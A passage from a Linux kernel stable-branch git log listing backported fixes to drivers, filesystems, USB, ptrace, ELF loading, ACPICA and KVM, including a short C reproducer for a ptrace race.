don't disallow registering region starting at 0x0 commit 66578b0b2f69659f00b6169e6fe7377c4b100d18 upstream. In a call to ib_umem_get(), if address is 0x0 and size is already page aligned, check added in commit 8494057ab5e4 ("IB/uverbs: Prevent integer overflow in ib_umem_get address arithmetic") will refuse to register a memory region that could otherwise be valid (provided vm.mmap_min_addr sysctl and mmap_low_allowed SELinux knobs allow userspace to map something at address 0x0). This patch allows back such registration: ib_umem_get() should probably don't care of the base address provided it can be pinned with get_user_pages(). There's two possible overflows, in (addr + size) and in PAGE_ALIGN(addr + size), this patch keep ensuring none of them happen while allowing to pin memory at address 0x0. Anyway, the case of size equal 0 is no more (partially) handled as 0-length memory region are disallowed by an earlier check. Link: http://mid.gmane.org/cover.1428929103.git.ydroneaud@opteya.com Cc: Shachar Raindel Cc: Jack Morgenstein Cc: Or Gerlitz Signed-off-by: Yann Droneaud Reviewed-by: Sagi Grimberg Reviewed-by: Haggai Eran Signed-off-by: Doug Ledford Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 40f1be9aafd3208e2396bfdf2fa37ba6f6e5bc36 Author: Yann Droneaud Date: Mon Apr 13 14:56:22 2015 +0200 IB/core: disallow registering 0-sized memory region commit 8abaae62f3fdead8f4ce0ab46b4ab93dee39bab2 upstream. If ib_umem_get() is called with a size equal to 0 and an non-page aligned address, one page will be pinned and a 0-sized umem will be returned to the caller. This should not be allowed: it's not expected for a memory region to have a size equal to 0. This patch adds a check to explicitly refuse to register a 0-sized region. Link: http://mid.gmane.org/cover.1428929103.git.ydroneaud@opteya.com Cc: Shachar Raindel Cc: Jack Morgenstein Cc: Or Gerlitz Signed-off-by: Yann Droneaud Signed-off-by: Doug Ledford Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit ac6e773cffffb183790689e75fd2d04503c981fe Author: Ezequiel Garcia Date: Tue Mar 10 11:37:14 2015 -0300 stk1160: Make sure current buffer is released commit aeff09276748b66072f2db2e668cec955cf41959 upstream. The available (i.e. not used) buffers are returned by stk1160_clear_queue(), on the stop_streaming() path. However, this is insufficient and the current buffer must be released as well. Fix it. Signed-off-by: Ezequiel Garcia Signed-off-by: Hans Verkuil Signed-off-by: Mauro Carvalho Chehab Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit a631bf03b2e492b55843fd403154af7e3849ffab Author: James Bottomley Date: Wed Apr 15 22:16:01 2015 -0700 mvsas: fix panic on expander attached SATA devices commit 56cbd0ccc1b508de19561211d7ab9e1c77e6b384 upstream. mvsas is giving a General protection fault when it encounters an expander attached ATA device. Analysis of mvs_task_prep_ata() shows that the driver is assuming all ATA devices are locally attached and obtaining the phy mask by indexing the local phy table (in the HBA structure) with the phy id. Since expanders have many more phys than the HBA, this is causing the index into the HBA phy table to overflow and returning rubbish as the pointer. mvs_task_prep_ssp() instead does the phy mask using the port properties. Mirror this in mvs_task_prep_ata() to fix the panic. Reported-by: Adam Talbot Tested-by: Adam Talbot Signed-off-by: James Bottomley Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 3a5eaf79f64061d5c2a70099676782c4e01c1841 Author: K. Y. Srinivasan Date: Fri Feb 27 11:26:04 2015 -0800 Drivers: hv: vmbus: Fix a bug in the error path in vmbus_open() commit 40384e4bbeb9f2651fe9bffc0062d9f31ef625bf upstream. Correctly rollback state if the failure occurs after we have handed over the ownership of the buffer to the host. Signed-off-by: K. Y. Srinivasan Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 8a4eb5d43e7b23e408d460f96692ae85de85b184 Author: Max Filippov Date: Fri Feb 27 11:02:38 2015 +0300 xtensa: provide __NR_sync_file_range2 instead of __NR_sync_file_range commit 01e84c70fe40c8111f960987bcf7f931842e6d07 upstream. xtensa actually uses sync_file_range2 implementation, so it should define __NR_sync_file_range2 as other architectures that use that function. That fixes userspace interface (that apparently never worked) and avoids special-casing xtensa in libc implementations. See the thread ending at http://lists.busybox.net/pipermail/uclibc/2015-February/048833.html for more details. Signed-off-by: Max Filippov Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 13bf6eba2f1873c8d6fd90216c8a50f1e52ec0d3 Author: Max Filippov Date: Fri Feb 27 06:28:00 2015 +0300 xtensa: xtfpga: fix hardware lockup caused by LCD driver commit 4949009eb8d40a441dcddcd96e101e77d31cf1b2 upstream. LCD driver is always built for the XTFPGA platform, but its base address is not configurable, and is wrong for ML605/KC705. Its initialization locks up KC705 board hardware. Make the whole driver optional, and its base address and bus width configurable. Implement 4-bit bus access method. Signed-off-by: Max Filippov Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit cecd3ebbab71ccc3d328153e5e33cf50c0e0684c Author: Lv Zheng Date: Mon Apr 13 11:48:58 2015 +0800 ACPICA: Utilities: split IO address types from data type models. commit 2b8760100e1de69b6ff004c986328a82947db4ad upstream. ACPICA commit aacf863cfffd46338e268b7415f7435cae93b451 It is reported that on a physically 64-bit addressed machine, 32-bit kernel can trigger crashes in accessing the memory regions that are beyond the 32-bit boundary. The region field's start address should still be 32-bit compliant, but after a calculation (adding some offsets), it may exceed the 32-bit boundary. This case is rare and buggy, but there are real BIOSes leaked with such issues (see References below). This patch fixes this gap by always defining IO addresses as 64-bit, and allows OSPMs to optimize it for a real 32-bit machine to reduce the size of the internal objects. Internal acpi_physical_address usages in the structures that can be fixed by this change include: 1. struct acpi_object_region: acpi_physical_address address; 2. struct acpi_address_range: acpi_physical_address start_address; acpi_physical_address end_address; 3. struct acpi_mem_space_context; acpi_physical_address address; 4. struct acpi_table_desc acpi_physical_address address; See known issues 1 for other usages. Note that acpi_io_address which is used for ACPI_PROCESSOR may also suffer from same problem, so this patch changes it accordingly. For iasl, it will enforce acpi_physical_address as 32-bit to generate 32-bit OSPM compatible tables on 32-bit platforms, we need to define ACPI_32BIT_PHYSICAL_ADDRESS for it in acenv.h. Known issues: 1. Cleanup of mapped virtual address In struct acpi_mem_space_context, acpi_physical_address is used as a virtual address: acpi_physical_address mapped_physical_address; It is better to introduce acpi_virtual_address or use acpi_size instead. This patch doesn't make such a change. Because this should be done along with a change to acpi_os_map_memory()/acpi_os_unmap_memory(). There should be no functional problem to leave this unchanged except that only this structure is enlarged unexpectedly. Link: https://github.com/acpica/acpica/commit/aacf863c Reference: https://bugzilla.kernel.org/show_bug.cgi?id=87971 Reference: https://bugzilla.kernel.org/show_bug.cgi?id=79501 Reported-and-tested-by: Paul Menzel Reported-and-tested-by: Sial Nije Signed-off-by: Lv Zheng Signed-off-by: Bob Moore Signed-off-by: Rafael J. Wysocki Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit d45faaca8da0e4b9d336f391a7d0ae4f1350d696 Author: Guenter Roeck Date: Wed Apr 22 22:23:54 2015 -0700 drivers: parport: Kconfig: exclude arm64 for PARPORT_PC Fix build problem seen with arm64:allmodconfig. drivers/parport/parport_pc.c:67:25: fatal error: asm/parport.h: No such file or directory arm64 does not support PARPORT_PC. Signed-off-by: Guenter Roeck Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 399c8d2e4b9d2f4bdb0ccd7df349b7888e9d4895 Author: K. Y. Srinivasan Date: Fri Mar 27 00:27:18 2015 -0700 scsi: storvsc: Fix a bug in copy_from_bounce_buffer() commit 8de580742fee8bc34d116f57a20b22b9a5f08403 upstream. We may exit this function without properly freeing up the maapings we may have acquired. Fix the bug. Signed-off-by: K. Y. Srinivasan Reviewed-by: Long Li Signed-off-by: James Bottomley Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit affe8a617b551dbbcdf6f405a906220f04b7259b Author: Brian Norris Date: Sat Feb 28 02:23:28 2015 -0800 UBI: fix check for "too many bytes" commit 299d0c5b27346a77a0777c993372bf8777d4f2e5 upstream. The comparison from the previous line seems to have been erroneously (partially) copied-and-pasted onto the next. The second line should be checking req.bytes, not req.lnum. Coverity CID #139400 Signed-off-by: Brian Norris [rw: Fixed comparison] Signed-off-by: Richard Weinberger Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit b6189a1d782514bd6cfd31e32874d76d50f32b1c Author: Brian Norris Date: Sat Feb 28 02:23:27 2015 -0800 UBI: initialize LEB number variable commit f16db8071ce18819fbd705ddcc91c6f392fb61f8 upstream. In some of the 'out_not_moved' error paths, lnum may be used uninitialized. Don't ignore the warning; let's fix it. This uninitialized variable doesn't have much visible effect in the end, since we just schedule the PEB for erasure, and its LEB number doesn't really matter (it just gets printed in debug messages). But let's get it straight anyway. Coverity CID #113449 Signed-off-by: Brian Norris Signed-off-by: Richard Weinberger Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 50679c48f34e40a0950683547b08357b776d9469 Author: Brian Norris Date: Sat Feb 28 02:23:26 2015 -0800 UBI: fix out of bounds write commit d74adbdb9abf0d2506a6c4afa534d894f28b763f upstream. If aeb->len >= vol->reserved_pebs, we should not be writing aeb into the PEB->LEB mapping. Caught by Coverity, CID #711212. Signed-off-by: Brian Norris Signed-off-by: Richard Weinberger Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 99079feb19fc046f46b4d77b37d8a2c7c071cca2 Author: Brian Norris Date: Sat Feb 28 02:23:25 2015 -0800 UBI: account for bitflips in both the VID header and data commit 8eef7d70f7c6772c3490f410ee2bceab3b543fa1 upstream. We are completely discarding the earlier value of 'bitflips', which could reflect a bitflip found in ubi_io_read_vid_hdr(). Let's use the bitwise OR of header and data 'bitflip' statuses instead. Coverity CID #1226856 Signed-off-by: Brian Norris Signed-off-by: Richard Weinberger Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit cf604c7c07cc10a3d976153956b52680d0b5e74d Author: Thomas D Date: Mon Jan 5 21:37:23 2015 +0100 tools/power turbostat: Use $(CURDIR) instead of $(PWD) and add support for O= option in Makefile commit f82263c6989c31ae9b94cecddffb29dcbec38710 upstream. Since commit ee0778a30153 ("tools/power: turbostat: make Makefile a bit more capable") turbostat's Makefile is using [...] BUILD_OUTPUT := $(PWD) [...] which obviously causes trouble when building "turbostat" with make -C /usr/src/linux/tools/power/x86/turbostat ARCH=x86 turbostat because GNU make does not update nor guarantee that $PWD is set. This patch changes the Makefile to use $CURDIR instead, which GNU make guarantees to set and update (i.e. when using "make -C ...") and also adds support for the O= option (see "make help" in your root of your kernel source tree for more details). Link: https://bugs.gentoo.org/show_bug.cgi?id=533918 Fixes: ee0778a30153 ("tools/power: turbostat: make Makefile a bit more capable") Signed-off-by: Thomas D. Cc: Mark Asselstine Signed-off-by: Len Brown Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 18595460478b9bc26c73c76d9d71e8e75e0a3dd0 Author: Anton Blanchard Date: Tue Apr 14 07:51:03 2015 +1000 powerpc/perf: Cap 64bit userspace backtraces to PERF_MAX_STACK_DEPTH commit 9a5cbce421a283e6aea3c4007f141735bf9da8c3 upstream. We cap 32bit userspace backtraces to PERF_MAX_STACK_DEPTH (currently 127), but we forgot to do the same for 64bit backtraces. Signed-off-by: Anton Blanchard Signed-off-by: Michael Ellerman Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 443c33cc597293c4cf9db663c4f470418b9616dd Author: Lukas Czerner Date: Fri Apr 3 10:46:58 2015 -0400 ext4: make fsync to sync parent dir in no-journal for real this time commit e12fb97222fc41e8442896934f76d39ef99b590a upstream. Previously commit 14ece1028b3ed53ffec1b1213ffc6acaf79ad77c added a support for for syncing parent directory of newly created inodes to make sure that the inode is not lost after a power failure in no-journal mode. However this does not work in majority of cases, namely: - if the directory has inline data - if the directory is already indexed - if the directory already has at least one block and: - the new entry fits into it - or we've successfully converted it to indexed So in those cases we might lose the inode entirely even after fsync in the no-journal mode. This also includes ext2 default mode obviously. I've noticed this while running xfstest generic/321 and even though the test should fail (we need to run fsck after a crash in no-journal mode) I could not find a newly created entries even when if it was fsynced before. Fix this by adjusting the ext4_add_entry() successful exit paths to set the inode EXT4_STATE_NEWENTRY so that fsync has the chance to fsync the parent directory as well. Signed-off-by: Lukas Czerner Signed-off-by: Theodore Ts'o Reviewed-by: Jan Kara Cc: Frank Mayhar Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 63b3ed3a903d5457bc8f51b53dc2f06ae7dcc2c3 Author: Mark Brown Date: Tue Dec 17 23:37:01 2013 +0000 video: vgacon: Don't build on arm64 commit ee23794b86689e655cedd616e98c03bc3c74f5ec upstream. arm64 is unlikely to have a VGA console and does not export screen_info causing build failures if the driver is build, for example in all*config. Add a dependency on !ARM64 to prevent this. This list is getting quite long, it may be easier to depend on a symbol which architectures that do support the driver can select. Signed-off-by: Mark Brown [tomi.valkeinen@ti.com: moved && to first modified line] Signed-off-by: Tomi Valkeinen Cc: Guenter Roeck Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit df77b210f74c640c439ccea712c29de0b3afe503 Author: Geert Uytterhoeven Date: Fri May 17 11:04:44 2013 +0200 console: Disable VGA text console support on cris commit 3535629264e69ddbec0bd44b6f9a119947fbe4e2 upstream. Signed-off-by: Geert Uytterhoeven Cc: Guenter Roeck Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 48ee87b862b337548511972c940ba704b10f74b4 Author: Chen Gang Date: Fri Aug 30 12:09:57 2013 +0800 drivers: parport: Kconfig: exclude h8300 for PARPORT_PC commit d94bb2d756e525a7c67fa71762227533d48b03c9 upstream. h8300 does not support PARPORT_PC. The related error (with allmodconfig for h8300): CC [M] drivers/parport/parport_pc.o drivers/parport/parport_pc.c:67:25: fatal error: asm/parport.h: No such file or directory Signed-off-by: Chen Gang Cc: Guenter Roeck Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit f4c25381ecb572102cbb54db9c3606e35d07aa66 Author: Geert Uytterhoeven Date: Wed May 15 22:51:15 2013 +0200 parport: disable PC-style parallel port support on cris commit cb1ff5f90e1550d5752521205506b99f1aa8b1e0 upstream. Signed-off-by: Geert Uytterhoeven Cc: Guenter Roeck Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 7bf0f2b9a88ffe79b8b955953f8df15d9e6d6092 Author: Marek Vasut Date: Thu Mar 26 02:16:06 2015 +0100 rtlwifi: rtl8192cu: Add new device ID commit 9374e7d2fdcad3c36dafc8d3effd554bc702c4b6 upstream. Add new ID for ASUS N10 WiFi dongle. Signed-off-by: Marek Vasut Tested-by: Marek Vasut Cc: Larry Finger Cc: John W. Linville Acked-by: Larry Finger Signed-off-by: Kalle Valo Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit dde8a304a16b8fb124c7014582543e11c416bb8f Author: Larry Finger Date: Mon Mar 23 18:14:10 2015 -0500 rtlwifi: rtl8192cu: Add new USB ID commit 2f92b314f4daff2117847ac5343c54d3d041bf78 upstream. USB ID 2001:330d is used for a D-Link DWA-131. Signed-off-by: Larry Finger Signed-off-by: Kalle Valo Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit e962b9298fd67b0c8c99870363f5121906b851a4 Author: Oleg Nesterov Date: Thu Apr 16 12:47:29 2015 -0700 ptrace: fix race between ptrace_resume() and wait_task_stopped() commit b72c186999e689cb0b055ab1c7b3cd8fffbeb5ed upstream. ptrace_resume() is called when the tracee is still __TASK_TRACED. We set tracee->exit_code and then wake_up_state() changes tracee->state. If the tracer's sub-thread does wait() in between, task_stopped_code(ptrace => T) wrongly looks like another report from tracee. This confuses debugger, and since wait_task_stopped() clears ->exit_code the tracee can miss a signal. Test-case: #include #include #include #include #include #include int pid; void *waiter(void *arg) { int stat; for (;;) { assert(pid == wait(&stat)); assert(WIFSTOPPED(stat)); if (WSTOPSIG(stat) == SIGHUP) continue; assert(WSTOPSIG(stat) == SIGCONT); printf("ERR! extra/wrong report:%x\n", stat); } } int main(void) { pthread_t thread; pid = fork(); if (!pid) { assert(ptrace(PTRACE_TRACEME, 0,0,0) == 0); for (;;) kill(getpid(), SIGHUP); } assert(pthread_create(&thread, NULL, waiter, NULL) == 0); for (;;) ptrace(PTRACE_CONT, pid, 0, SIGCONT); return 0; } Note for stable: the bug is very old, but without 9899d11f6544 "ptrace: ensure arch_ptrace/ptrace_request can never race with SIGKILL" the fix should use lock_task_sighand(child). Signed-off-by: Oleg Nesterov Reported-by: Pavel Labath Tested-by: Pavel Labath Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 738f7f6d4ab146f90c303c8848fe48e2d7f0eb14 Author: Michael Davidson Date: Tue Apr 14 15:47:38 2015 -0700 fs/binfmt_elf.c: fix bug in loading of PIE binaries commit a87938b2e246b81b4fb713edb371a9fa3c5c3c86 upstream. With CONFIG_ARCH_BINFMT_ELF_RANDOMIZE_PIE enabled, and a normal top-down address allocation strategy, load_elf_binary() will attempt to map a PIE binary into an address range immediately below mm->mmap_base. Unfortunately, load_elf_ binary() does not take account of the need to allocate sufficient space for the entire binary which means that, while the first PT_LOAD segment is mapped below mm->mmap_base, the subsequent PT_LOAD segment(s) end up being mapped above mm->mmap_base into the are that is supposed to be the "gap" between the stack and the binary. Since the size of the "gap" on x86_64 is only guaranteed to be 128MB this means that binaries with large data segments > 128MB can end up mapping part of their data segment over their stack resulting in corruption of the stack (and the data segment once the binary starts to run). Any PIE binary with a data segment > 128MB is vulnerable to this although address randomization means that the actual gap between the stack and the end of the binary is normally greater than 128MB. The larger the data segment of the binary the higher the probability of failure. Fix this by calculating the total size of the binary in the same way as load_elf_interp(). Signed-off-by: Michael Davidson Cc: Alexander Viro Cc: Jiri Kosina Cc: Kees Cook Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 6e2da5819603202d2f2453f019d990fe6e27d2bd Author: Ulrik De Bie Date: Mon Apr 6 15:35:38 2015 -0700 Input: elantech - fix absolute mode setting on some ASUS laptops commit bd884149aca61de269fd9bad83fe2a4232ffab21 upstream. On ASUS TP500LN and X750JN, the touchpad absolute mode is reset each time set_rate is done. In order to fix this, we will verify the firmware version, and if it matches the one in those laptops, the set_rate function is overloaded with a function elantech_set_rate_restore_reg_07 that performs the set_rate with the original function, followed by a restore of reg_07 (the register that sets the absolute mode on elantech v4 hardware). Also the ASUS TP500LN and X750JN firmware version, capabilities, and button constellation is added to elantech.c Reported-and-tested-by: George Moutsopoulos Signed-off-by: Ulrik De Bie Signed-off-by: Dmitry Torokhov Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 65e795e02d449da96bba900586134bd3c0cff239 Author: Michael Gernoth Date: Thu Apr 9 23:42:15 2015 +0200 ALSA: emu10k1: don't deadlock in proc-functions commit 91bf0c2dcb935a87e5c0795f5047456b965fd143 upstream. The functions snd_emu10k1_proc_spdif_read and snd_emu1010_fpga_read acquire the emu_lock before accessing the FPGA. The function used to access the FPGA (snd_emu1010_fpga_read) also tries to take the emu_lock which causes a deadlock. Remove the outer locking in the proc-functions (guarding only the already safe fpga read) to prevent this deadlock. [removed superfluous flags variables too -- tiwai] Signed-off-by: Michael Gernoth Signed-off-by: Takashi Iwai Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 17b835c9cbece62bf6c4a7e458d803265c83b968 Author: Felipe Balbi Date: Fri Feb 13 15:38:33 2015 -0600 usb: core: hub: use new USB_RESUME_TIMEOUT commit bbc78c07a51f6fd29c227b1220a9016e585358ba upstream. Make sure we're using the new macro, so our resume signaling will always pass certification. Signed-off-by: Felipe Balbi Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 7a7589ae1545f57dd823de3887a8494567ce2d8f Author: Felipe Balbi Date: Fri Feb 13 15:00:38 2015 -0600 usb: host: sl811: use new USB_RESUME_TIMEOUT commit 08debfb13b199716da6153940c31968c556b195d upstream. Make sure we're using the new macro, so our resume signaling will always pass certification. Signed-off-by: Felipe Balbi Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit bb0e9bc4b1eb73386182b73f86f4e4579dcb9ac3 Author: Felipe Balbi Date: Fri Feb 13 14:39:13 2015 -0600 usb: host: xhci: use new USB_RESUME_TIMEOUT commit b9e451885deb6262dbaf5cd14aa77d192d9ac759 upstream. Make sure we're using the new macro, so our resume signaling will always pass certification. Acked-by: Mathias Nyman Signed-off-by: Felipe Balbi Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 0f022b1071f78f55cb67fea985a4613827d900ad Author: Felipe Balbi Date: Fri Feb 13 14:50:10 2015 -0600 usb: host: isp116x: use new USB_RESUME_TIMEOUT commit 8c0ae6574ccfd3d619876a65829aad74c9d22ba5 upstream. Make sure we're using the new macro, so our resume signaling will always pass certification. Signed-off-by: Felipe Balbi Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit f0a4d42b12ba3e6d1adf0b9e2e55f8f52c7312a7 Author: Felipe Balbi Date: Fri Feb 13 14:58:53 2015 -0600 usb: host: r8a66597: use new USB_RESUME_TIMEOUT commit 7a606ac29752a3e571b83f9b3fceb1eaa1d37781 upstream. While this driver was already using a 50ms resume timeout, let's make sure everybody uses the same macro so it's easy to fix later should anything go wrong. It also gives a more "stable" expectation to Linux users. Signed-off-by: Felipe Balbi Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 83478eb9539f761eb993fc23823f1f49ea0308c0 Author: Felipe Balbi Date: Fri Feb 13 14:34:25 2015 -0600 usb: define a generic USB_RESUME_TIMEOUT macro commit 62f0342de1f012f3e90607d39e20fce811391169 upstream. Every USB Host controller should use this new macro to define for how long resume signalling should be driven on the bus. Currently, almost every single USB controller is using a 20ms timeout for resume signalling. That's problematic for two reasons: a) sometimes that 20ms timer expires a little before 20ms, which makes us fail certification b) some (many) devices actually need more than 20ms resume signalling. Sure, in case of (b) we can state that the device is against the USB spec, but the fact is that we have no control over which device the certification lab will use. We also have no control over which host they will use. Most likely they'll be using a Windows PC which, again, we have no control over how that USB stack is written and how long resume signalling they are using. At the end of the day, we must make sure Linux passes electrical compliance when working as Host or as Device and currently we don't pass compliance as host because we're driving resume signallig for exactly 20ms and that confuses certification test setup resulting in Certification failure. Acked-by: Greg Kroah-Hartman Acked-by: Peter Chen Signed-off-by: Felipe Balbi Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 697883127c9e89ac243b1fc0f5f959176cb65850 Author: Axel Lin Date: Thu Mar 12 09:15:28 2015 +0800 usb: phy: Find the right match in devm_usb_phy_match commit 869aee0f31429fa9d94d5aef539602b73ae0cf4b upstream. The res parameter passed to devm_usb_phy_match() is the location where the pointer to the usb_phy is stored, hence it needs to be dereferenced before comparing to the match data in order to find the correct match. Fixes: 410219dcd2ba ("usb: otg: utils: devres: Add API's to associate a device with the phy") Signed-off-by: Axel Lin Signed-off-by: Felipe Balbi Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit d91564e68a796e085d26ebed675fa869e4f08f4a Author: Charles Keepax Date: Fri Mar 27 01:58:08 2015 +0900 ARM: S3C64XX: Use fixed IRQ bases to avoid conflicts on Cragganmore commit 4e330ae4ab2915444f1e6dca1358a910aa259362 upstream. There are two PMICs on Cragganmore, currently one dynamically assign its IRQ base and the other uses a fixed base. It is possible for the statically assigned PMIC to fail if its IRQ is taken by the dynamically assigned one. Fix this by statically assigning both the IRQ bases. Signed-off-by: Charles Keepax Signed-off-by: Kukjin Kim Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit f326be8dbfa9a23c3d71804cccc65a8de841da99 Author: Andrey Ryabinin Date: Fri Mar 20 15:42:27 2015 +0100 ARM: 8320/1: fix integer overflow in ELF_ET_DYN_BASE commit 8defb3367fcd19d1af64c07792aade0747b54e0f upstream. Usually ELF_ET_DYN_BASE is 2/3 of TASK_SIZE. With 3G/1G user/kernel split this is not so, because 2*TASK_SIZE overflows 32 bits, so the actual value of ELF_ET_DYN_BASE is: (2 * TASK_SIZE / 3) = 0x2a000000 When ASLR is disabled PIE binaries will load at ELF_ET_DYN_BASE address. On 32bit platforms AddressSanitzer uses addresses [0x20000000 - 0x40000000] for shadow memory [1]. So ASan doesn't work for PIE binaries when ASLR disabled as it fails to map shadow memory. Also after Kees's 'split ET_DYN ASLR from mmap ASLR' patchset PIE binaries has a high chance of loading somewhere in between [0x2a000000 - 0x40000000] even if ASLR enabled. This makes ASan with PIE absolutely incompatible. Fix overflow by dividing TASK_SIZE prior to multiplying. After this patch ELF_ET_DYN_BASE equals to (for CONFIG_VMSPLIT_3G=y): (TASK_SIZE / 3 * 2) = 0x7f555554 [1] https://code.google.com/p/address-sanitizer/wiki/AddressSanitizerAlgorithm#Mapping Signed-off-by: Andrey Ryabinin Reported-by: Maria Guseva Signed-off-by: Russell King Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 21ed5cd2df4af251fafc51962abedc53a6c09a40 Author: Krzysztof Kozlowski Date: Fri Feb 20 14:32:25 2015 +0100 power_supply: lp8788-charger: Fix leaked power supply on probe fail commit a7117f81e8391e035c49b3440792f7e6cea28173 upstream. Driver forgot to unregister charger power supply if registering of battery supply failed in probe(). In such case the memory associated with power supply leaked. Signed-off-by: Krzysztof Kozlowski Fixes: 98a276649358 ("power_supply: Add new lp8788 charger driver") Signed-off-by: Sebastian Reichel Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 3b5ffddf7d35c7804c37669b9c500153c1c8d740 Author: Steven Rostedt Date: Tue Mar 17 10:40:38 2015 -0400 ring-buffer: Replace this_cpu_*() with __this_cpu_*() commit 80a9b64e2c156b6523e7a01f2ba6e5d86e722814 upstream. It has come to my attention that this_cpu_read/write are horrible on architectures other than x86. Worse yet, they actually disable preemption or interrupts! This caused some unexpected tracing results on ARM. 101.356868: preempt_count_add <-ring_buffer_lock_reserve 101.356870: preempt_count_sub <-ring_buffer_lock_reserve The ring_buffer_lock_reserve has recursion protection that requires accessing a per cpu variable. But since preempt_disable() is traced, it too got traced while accessing the variable that is suppose to prevent recursion like this. The generic version of this_cpu_read() and write() are: #define this_cpu_generic_read(pcp) \ ({ typeof(pcp) ret__; \ preempt_disable(); \ ret__ = *this_cpu_ptr(&(pcp)); \ preempt_enable(); \ ret__; \ }) #define this_cpu_generic_to_op(pcp, val, op) \ do { \ unsigned long flags; \ raw_local_irq_save(flags); \ *__this_cpu_ptr(&(pcp)) op val; \ raw_local_irq_restore(flags); \ } while (0) Which is unacceptable for locations that know they are within preempt disabled or interrupt disabled locations. Paul McKenney stated that __this_cpu_() versions produce much better code on other architectures than this_cpu_() does, if we know that the call is done in a preempt disabled location. I also changed the recursive_unlock() to use two local variables instead of accessing the per_cpu variable twice. Link: http://lkml.kernel.org/r/20150317114411.GE3589@linux.vnet.ibm.com Link: http://lkml.kernel.org/r/20150317104038.312e73d1@gandalf.local.home Acked-by: Christoph Lameter Reported-by: Uwe Kleine-Koenig Tested-by: Uwe Kleine-Koenig Signed-off-by: Steven Rostedt Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit ce232005080b05a07fa47ee5410d30e835516626 Author: Oliver Neukum Date: Fri Mar 20 14:29:34 2015 +0100 cdc-wdm: fix endianness bug in debug statements commit 323ece54e0761198946ecd0c2091f1d2bfdfcb64 upstream. Values directly from descriptors given in debug statements must be converted to native endianness. Signed-off-by: Oliver Neukum Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 10495c07df8ec67eb0b95b5e0d9897172c5a9ef0 Author: Huacai Chen Date: Sun Mar 29 10:54:05 2015 +0800 MIPS: Hibernate: flush TLB entries earlier commit a843d00d038b11267279e3b5388222320f9ddc1d upstream. We found that TLB mismatch not only happens after kernel resume, but also happens during snapshot restore. So move it to the beginning of swsusp_arch_suspend(). Signed-off-by: Huacai Chen Cc: Steven J. Hill Cc: linux-mips@linux-mips.org Cc: Fuxin Zhang Cc: Zhangjin Wu Patchwork: https://patchwork.linux-mips.org/patch/9621/ Signed-off-by: Ralf Baechle Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit cfb10b19ba2742d7637aee4c42e1d9de935acbbb Author: Radim KrÄmář Date: Wed Apr 8 14:16:48 2015 +0200 KVM: use slowpath for cross page cached accesses commit ca3f0874723fad81d0c701b63ae3a17a408d5f25 upstream. kvm_write_guest_cached() does not mark all written pages as dirty and code comments in kvm_gfn_to_hva_cache_init() talk about NULL memslot with cross page accesses. Fix all the easy way. The check is '<= 1' to have the same result for 'len = 0' cache anywhere in the page. (nr_pages_needed is 0 on page boundary.) Fixes: 8f964525a121 ("KVM: Allow cross page reads and writes from cached translations.") Signed-off-by: Radim KrÄmář Message-Id: <20150408121648.GA3519@potion.brq.redhat.com> Reviewed-by: Wanpeng Li Signed-off-by: Paolo Bonzini Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 522a51eaf8c04c8e6ee3278240eb327c15949427 Author: Heiko Carstens Date: Wed Mar 25 10:13:33 2015 +0100 s390/hibernate: fix save and restore of kernel text section commit d74419495633493c9cd3f2bbeb7f3529d0edded6 upstream. Sebastian reported a crash caused by a jump label mismatch after resume. This happens because we do not save the kernel text section during suspend and therefore also do not restore it during resume, but use the kernel image that restores the old system. This means that after a suspend/resume cycle we lost all modifications done to the kernel text section. The reason for this is the pfn_is_nosave() function, which incorrectly returns that read-only pages don't need to be saved. This is incorrect since we mark the kernel text section read-only. We still need to make sure to not save and restore pages contained within NSS and DCSS segment. To fix this add an extra case for the kernel text section and only save those pages if they are 